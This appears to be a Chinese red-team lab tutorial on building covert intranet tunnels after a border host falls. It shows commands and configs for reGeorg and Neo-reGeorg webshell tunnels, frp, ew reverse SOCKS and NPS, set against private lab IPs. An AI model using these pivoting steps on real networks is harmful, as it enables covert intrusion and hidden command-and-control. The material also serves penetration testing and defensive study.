红队攻防实战之内网穿透隐秘隧道搭建

别低头,皇冠会掉;别流泪,贱人会笑。

本文首发于先知社区,原创作者即是本人

0x00 前言

构建内网隐蔽通道,从而突破各种安全策略限制,实现对目标服务器的完美控制。
当我们从外网成功获得攻击点的时候,通过反弹shell、端口转发、内网穿透等技巧,来进一步入侵内网服务器。当我们取得内网目标服务器的控制权限,通过隧道技术绕过网络限制,实现隐蔽C2服务器的通信。

网络拓扑:

在这里插入图片描述

网络配置IP如下:

攻击机:
win10:192.168.1.6
kali:192.168.1.7靶场:
VM1:对外边界服务器,win7
192.168.52.143
192.168.1.5VM2:域成员,2003
192.168.52.141VM3:域控,2008
192.168.52.138

0x01 reGeorge

1.1 环境

攻击机kali
reGeorge软件,下载:https://github.com/sensepost/reGeorg
运行程序需要的环境:
Python、pip、urllib3;

1.2 部署配置

上传tunnel.nosocket.php
前提条件,已获得跳板机的权限(都打到内网了,跳板机的权限肯定获得了),server-bt系统的跳板机是php环境,将reGeorge中的tunnel.nosocket.php上传至网站

在这里插入图片描述

并访问http://192.168.1.5/tunnel.nosocket.php
访问成功

在这里插入图片描述

启动reGeorg
python reGeorgSocksProxy.py -p 1090 -u http://192.168.1.5/tunnel.nosocket.php
表示本地1090端口的流量都转发给指定的那个url,1090是指定的监听端口;

在这里插入图片描述

配置代理
然后配置proxychains代理链的配置文件vim /etc/proxychains.conf,将代理设置成本机的1090端口:socks5 127.0.0.1 1090

在这里插入图片描述

1.3 测试

命令前面加上proxychains 运行命令,(跳板机php环境已启动,存在主页index.php)
proxychains curl http://192.168.52.143

在这里插入图片描述

reGeorg控制端

在这里插入图片描述

0x02 Neo-reGeorg

1.1 使用

设置密码并生成隧道文件,运行后会生成一个neoreg_server目录,里面包含了各种语言类型的隧道文件

$ python3 neoreg.py generate -k <password>
[+] Create neoreg server files:=> neoreg_server/key.txt.   # 密码=> neoreg_server/tunnel.nosocket.php=> neoreg_server/tunnel.js=> neoreg_server/tunnel.php=> neoreg_server/tunnel.ashx=> neoreg_server/tunnel.aspx=> neoreg_server/tunnel.tomcat.5.jsp=> neoreg_server/tunnel.tomcat.5.jspx=> neoreg_server/tunnel.jsp=> neoreg_server/tunnel.jspx

python3 neoreg.py generate -k jdxyxd

在这里插入图片描述

1.2 部署配置

上传tunnel.php
前提条件,已获得跳板机的权限(都打到内网了,跳板机的权限肯定获得了),server-bt系统的跳板机是php环境,将reGeorge中的tunnel.php上传至网站

在这里插入图片描述

并访问http://192.168.1.5/tunnel.php
访问成功

在这里插入图片描述

启动Neo-reGeorg
python3 neoreg.py -k jdxyxd -u http://192.168.1.5/tunnel.php #表示本地1080端口的流量都转发给指定的那个url,1080是指定的监听端口;

在这里插入图片描述

配置代理
然后配置proxychains代理链的配置文件vim /etc/proxychains.conf,将代理设置成本机的1080端口:socks5 127.0.0.1 1080

在这里插入图片描述

1.3 测试

命令前面加上proxychains 运行命令,(跳板机php环境已启动,存在主页index.php)
proxychains curl http://192.168.52.143

在这里插入图片描述

0x03 frp

软件:frp_0.33.0_windows_amd64 ,frp_0.34.1_linux_amd64
代理工具Proxifier(windows下通常用可视化的proxifier、SocksCap64,Linux在proxychains设置)

1.1 攻击机为windows环境

frp的Socks5反向代理:
(HTTP反向代理修改plugin模块和proxifier代理类型即可)
攻击机-服务端:
设置frps.ini

[common] 
bind_port = 7000

在这里插入图片描述

然后运行
frps.exe -c frps.ini

在这里插入图片描述

跳板机-客户端:server_addr为攻击机IP
设置frpc.ini

[common] 
server_addr = 192.168.1.6
server_port = 7000 [socks5] 
type = tcp 
remote_port = 8010 
plugin = socks5

在这里插入图片描述

然后运行
frpc.exe -c frpc.ini

在这里插入图片描述

SwitchyOmega配置

在这里插入图片描述

浏览器访问192.168.52.143 访问成功

在这里插入图片描述

proxifier配置

在这里插入图片描述

浏览器访问192.168.52.143 访问成功

在这里插入图片描述

0x04 ew

1.1 攻击机为kali环境

ew正向代理

1.正向连接跳板机在win7机器上执行(ew_for_windows上传到跳板机)
ew_for_win_32.exe -s ssocksd -l 1090

在这里插入图片描述

这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf socks5 192.168.1.5 1090

在这里插入图片描述

测试执行:
proxychains curl http://192.168.52.143/

在这里插入图片描述

ew反向代理

服务端-攻击机kali
执行:
./ew_for_linux -s rcsocks -l 1080 -e 1024

在这里插入图片描述

客户端-跳板机
执行
ew.exe -s rssocks -d 192.168.1.7 -e 1024

在这里插入图片描述

配置proxychains代理链
在配置文件/etc/proxychains.conf,
将代理设置成本机的1080端口(root用户修改):

在这里插入图片描述

测试执行:
proxychains curl http://192.168.52.143/

在这里插入图片描述

0x05 NPS隐秘隧道搭建

1)建立连接

此场景攻击机使用Kali,在攻击机运行命令“./nps install”安装服务端,如图所示。

在这里插入图片描述

运行命令“nps start”启动服务端,如图所示。

在这里插入图片描述

通过8080端口访问服务端的Web界面,如图所示。

http://192.168.1.7:8080

在这里插入图片描述

输入默认用户名、密码admin、123登录,登录后可以看到默认客户端连接端口为8024,登录后的Web界面如图所示。

在这里插入图片描述

添加客户端,如图所示,配置唯一验证密钥,验证密钥在从客户端连接到服务端时使用,此处配置为“any”,然后开启压缩和加密传输。

在这里插入图片描述

最后在边界主机运行命令“npc.exe -server=192.168.1.7:8024 -vkey=any”来连接服务端,建立连接如图所示。

在这里插入图片描述

连接成功后在攻击机的Web界面可看到客户端上线,如图所示。

在这里插入图片描述

2)TCP隧道

客户端上线后便可以通过Web界面单击上线的客户端、查看选项、配置隧道,例如,若想访问内网主机的3389端口,则可通过TCP隧道将内网主机的3389端口映射到攻击机的1111端口,单击“新增”,配置目标“192.168.52.143:3389”,配置服务端口为“1111”,TCP隧道如图所示。

在这里插入图片描述

TCP隧道建立成功后,即可通过连接攻击机的1111端口来连接内网主机的远程桌面,在攻击机运行命令“rdesktop 192.168.1.7:1111”连接本地的1111端口,隧道的使用如图所示。

在这里插入图片描述

3)SOCKS5代理

若想搭建HTTP代理或SOCKS代理,只需选择对应模式,填写服务端端口即可,以SOCKS为例,选择模式为“SOCKS代理”,如图所示,服务端端口为“1234”。

在这里插入图片描述

配置好SOCKS代理后,便可使用攻击机192.168.1.7的1234端口访问内网,配置代理服务器

在这里插入图片描述

访问内网主机站点http://192.168.52.143/
使用代理如图所示。

在这里插入图片描述

或者配置proxifier

在这里插入图片描述

访问内网主机站点http://192.168.52.143/

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:各家兴 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/163998.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SAP BAPI For LU01/LU04 记账更改

场景&#xff1a;采购收货质检放行的时候&#xff0c;发现存在有些做QA11的时候&#xff0c;进入到TR-ZONE中&#xff0c;没有进入到指定的仓位 解决方案&#xff1a;前端通过LU04进入&#xff0c;可以查看到一些未清的记账更改通知单&#xff0c;点击工具栏上的创建转储单&am…

Docker Swarm总结+service创建和部署、overlay网络以及Raft算法(2/3)

博主介绍&#xff1a;Java领域优质创作者,博客之星城市赛道TOP20、专注于前端流行技术框架、Java后端技术领域、项目实战运维以及GIS地理信息领域。 &#x1f345;文末获取源码下载地址&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;&#x1f3fb;…

新的预测模型的局部评价指标-pAUROCc

新的预测模型的局部评价指标-pAUROCc Background 局部评价主要是用在不平衡数据上&#xff0c;其合理性&#xff1a;1.局部评价比全局评价敏感&#xff0c;更容易区分模型的优劣&#xff1b;2.临床决策曲线&#xff08;DCA&#xff09;可知&#xff0c;模型使用过程中&#x…

什么是JSX

在React组件中&#xff0c;JSX&#xff08;JavaScript XML&#xff09;是一种语法扩展&#xff0c;用于描述组件的结构和外观。JSX允许我们在JavaScript中编写类似HTML的标记语言&#xff0c;以创建React元素。 在React组件中&#xff0c;render方法是用于定义并返回组件的结构…

HarmonyOS开发(六):构建简单页面

1、Column&Row组件 1.1、概述 一个页面由很多组件组成&#xff0c;如果需要把这些组件组织起来布局好&#xff0c;需要借助容器组件来实现。 容器组件是一种特殊的组件&#xff0c;它可以包含其他组件&#xff0c;而且按照一定的规律布局&#xff0c;一个容器组件中可以…

Linux--初识和基本的指令(2)

目录 前言 1. 指令 1.1 cd其它携带指令 1.2 ls其它携带指令 1.3 which指令 1.4 alias指令 1.5 mkdir其他携带指令 1.7 yum -y install 安装指令 1.8 stat指令 1.9解决指令失控状态 1.10 rmdir&&rm指令 1.11 man指令 1.12 cp指令 1.13 mv指令 1.14 nano…

vue项目引入中国地图

先安装有china.js的版本 npm install echarts4.8 --save //以前的版本有china.js <template><div class"mapMain"><div id"map" style"width: 30vw; height: 30vw;" /></div> </template><script>//引入文…

提高苹果企业签名稳定性的关键方法包括几点

提高苹果企业签名稳定性的关键方法包括以下几点&#xff1a; 控制签名量&#xff1a;苹果企业签名的稳定性与每本书的签发量有很大的关系。一般来说&#xff0c;每本书上签10个APP和每本书上签100个APP是两种不同的概念。为了提高稳定性&#xff0c;正规的签名平台会严格控制每…

「纯电」厮杀,广州车展的年末大戏

作者 |张祥威 编辑 |德新 年末的广州车展&#xff0c;揭开纯电动车激烈厮杀的一角。 1100多款车型亮相在这届车展&#xff0c;其中新能源车有460多辆&#xff0c;占接近一半比例。这其中&#xff0c;人们的焦点又放在十多款纯电车型上。 造车新势力中&#xff0c;理想的首款…

什么是数据确权?

在数字化时代&#xff0c;数据已经成为一种新型资产&#xff0c;”新的石油“&#xff0c;具有巨大的价值&#xff0c;未来世界经济竞争一定程度上是数字经济的竞争&#xff0c;而非工业的竞争。数据相关法律制度&#xff0c;尚且还不完整&#xff0c;推动数字经济的发展&#…

工作流引擎的主要表结构

工作流引擎的主要表结构及其作用如下&#xff0c;我们从开源的驰骋工作流为例来说明。 1. WF_GenerWorkFlow&#xff1a;该表主要用于存储流程引擎级别的数据, 发起人&#xff0c;发起日期&#xff0c;workid, 流程状态&#xff0c;流程标题&#xff0c;运行到的节点。 2. WF_…

快速入门go语言学习笔记

文章目录 1、初识go1.1、go语言1.2 第一个Go程序 2、基础类型2.1、命名2.2、变量2.2.1 变量声明2.2.2 变量初始化2.2.3 变量赋值2.2.4 匿名变量 2.3、常量2.3.1 字面常量(常量值)2.3.2 常量定义2.3.3 iota枚举 2.4、基础数据类型2.4.1 分类2.4.2 布尔类型2.4.3 整型2.4.4 浮点型…

逆向扒cocosjs安卓包教程-破解加密的js源码

本文只适用于cocosjs引擎打包的游戏apk,针对此类apk进行源码级别的逆向破解,可直接逐个破解工程内的源码部分,让游戏逻辑大白于你的面前,你可以针对js源码进行二次开发。按照我的教程破解过程中遇到什么问题,欢迎留言。 准备apk包 准备一个你确定用cocosjs打包好的apk包…

XSLVGL2.0 User Manual 资源管理器(v2.0)

XSLVGL2.0 开发手册 XSLVGL2.0 User Manual 资源管理器 1、概述2、特性3、APIs3.1、xs_resource_get3.2、xs_resource_get_string3.3、xs_resource_set_search_dir3.4、xs_resource_bind_id3.5、xs_resource_set_lang_desc3.6、xs_resource_update3.7、xs_resource_unbind_id3…

循环小练习

#forfor i in range(1,11):print(f开始循环{i},i)\i1 while i < 11:print(f开始循环{i},i)i1list1[1,2,3,4,5] SUMsum(list1) print(SUM)#求和 n int(input("请输入一个数n:")) sum10 i1 while i < n1:#print(f开始循环{i},i)#sum1 sum1isum1ii1 print(sum1…

ubuntu安装cuda驱动报错及解决,屡试不爽

机器重启输入nvidia-smi提示如下错误,字面意思就是驱动和库不匹配 Failed to initialize NVML: Driver/library version mismatch 查看一下nvidia相关库 sudo dpkg --list | grep nvidia-* 将所有已安装库卸载 sudo apt purge nvidia-* 重新安装驱动 sudo ./NVIDIA-Linux-…

SQL Server对象类型(6)——4.6.存储过程和函数(Procedure和Function)

4.6. 存储过程和函数(Procedure和Function) 4.6.1. 过程和函数概念 与Oracle中类似,SQL Server中,存储过程和函数都是虚的、被定义的代码对象,它们都是由一组T-SQL或公共语言运行库(CLR)代码构成的程序,其本身并不存储数据,通过数据库或应用端调用等方式来运行,以满…

Nginx反向代理实现负载均衡+Keepalive实现高可用

目录 实现负载均衡 实现高可用 实现负载均衡 Nginx的几种负载均衡算法&#xff1a; 1.轮询&#xff08;默认&#xff09; 每个请求按照时间顺序逐一分配到下游的服务节点&#xff0c;如果其中某一节点故障&#xff0c;nginx 会自动剔除故障系统使用户使用不受影响。 2.权重…

主播产品塑造话术

产品卖点 一、品质卓越 我们的产品始终坚持高品质的标准&#xff0c;从原材料的选择到生产工艺的把控&#xff0c;每一个环节都经过严格的品质检测。我们注重产品的耐用性和稳定性&#xff0c;确保您在使用过程中无需担心质量问题。 二、功能强大 我们的产品不仅具备基本的…